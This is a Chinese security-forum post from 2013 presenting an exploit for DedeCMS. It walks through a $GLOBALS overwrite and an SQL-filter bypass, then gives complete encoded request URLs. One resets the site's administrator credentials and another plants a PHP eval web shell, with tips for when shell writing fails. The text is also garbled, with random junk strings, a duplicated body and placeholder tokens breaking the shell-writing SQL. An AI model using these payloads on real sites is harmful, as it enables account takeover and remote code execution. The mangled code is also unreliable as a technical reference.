找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2783|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。
/ o2 P1 {: h4 k. ^) D' M" ]补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?$ L, s% Y" L  L9 \$ Q/ {
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
$ B# v) \1 k! _. R6 \include/dedesql.class.php
" ]7 Z. C; Z- gif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
( E  D) q' n' {" ^5 v4 b" O同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
% p: u' L: \, q9 w0 a) Z3 ^! W% [而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。/ K+ j$ v! V2 f" V! Z
plus/download.php
. F; i. a! K3 ]$ W6 B1 {2 telse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):! J# v0 n/ Z5 N- [! q
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:: k2 }) \! r7 F7 n2 H4 \
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
$ N9 V2 ~$ k: s+ ~3 a1 whttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin- E: a, @  D3 |+ D- J1 `/ |
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。- ?0 K2 m, C+ B9 i- f. U
如果找不到后台,参见以前修改数据库直接拿SHELL的方法% A+ v" h( j7 x
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。9 j' S7 i" P% X/ M7 x
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
4 p: C" W9 A3 _; x7 D0 I起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
* U! o" N' {1 ~: `  }include/dedesql.class.php
% u7 Y# [9 d+ S% Gif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
4 O4 D$ {+ ?5 o  A( c! e5 ?同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2, {5 O* k+ G1 \1 q  z# x
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。: n4 v2 e+ A; q( `1 p; I8 O/ S4 J
plus/download.php
8 T, Y% V) o4 f# r# Aelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):  |% C; g& Y8 u4 P
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
% V1 L& L! X# T& q0 CUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
+ q" H: X0 z) {& g4 j1 L5 nhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin  w/ v7 [7 m7 J0 e
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。' [# `; d6 d* J4 p) l4 N1 Q& j
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
8 `/ A7 s6 k0 R/ z2 ^6 U___FCKpd___6getshell:
0 E4 ^6 V6 ]! I3 {http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
8 b4 z$ s4 f2 V; Mhttp://127.0.0.1/plus/x.php. I) o% m" A% d. Z( t
update成功后还要访问下 /plus/mytag_js.php?aid=1) P$ B* [3 `  h! p* F0 M- K
失败原因:# S* v$ h' L$ W6 d& R4 f' ?
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)! B7 D! l& y3 f% g. o
配图:. @1 s# W6 E, J7 H% Z
1.查看dede当前版本  a# l  W6 ~: i9 G- z' ]

1 T5 D7 q4 P2 U7 a5 n) s# z  T. a2.执行exp
) J8 S6 _1 U" J) N0 a- e# h5 Q2 c) p' R
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台( W9 t4 a- s6 E& H: I3 @

4 N2 @0 j5 z6 z9 ^- Gspider密码admin
8 T! |3 t4 ?! b2 u; L( X, r2 A1 Q- W8 I/ R, x; {
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png; H+ K: y$ _% k, x& ]1 q
原作者:imspider* r8 f% R3 Y$ h1 H7 O8 q1 o, }; ~% `# l

; F9 K! G. m. d. t7 F' J本博客测试+配图+getshell8 A0 @4 [8 f5 t; H
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT * D) h' m: k4 F8 c/ J6 V

* f7 A6 e- |; y3 Jgetshell:
) }1 A- U# ]/ J8 v0 P___FCKpd___7会在plus目录生成 x.php 密码 m
# C3 X! V: a: i' T# ^. r  [& Vhttp://127.0.0.1/plus/x.php" @2 p8 M& M9 |" r
update成功后还要访问下 /plus/mytag_js.php?aid=1
1 D6 B; y$ {+ S! ]  c9 \失败原因:
5 w0 w# X/ z$ q/ w5 W# x测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)6 R, Q" w, N- O, a% y' }* E; Q" a
配图:% t) F1 M0 Z$ b( R( ]' [
1.查看dede当前版本
, g- z8 A; r! k" f8 S2 L) V) chttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
* F# j5 u3 s& q: o& O1 v2.执行exp
3 G/ G$ q2 t6 r7 i$ qhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
3 V( g( s9 g9 A- jspider密码admin; R: @, ?. H) [5 F/ k
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
. S6 H6 X+ K: h# y
5 t" C5 R8 O$ [6 [/ f8 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表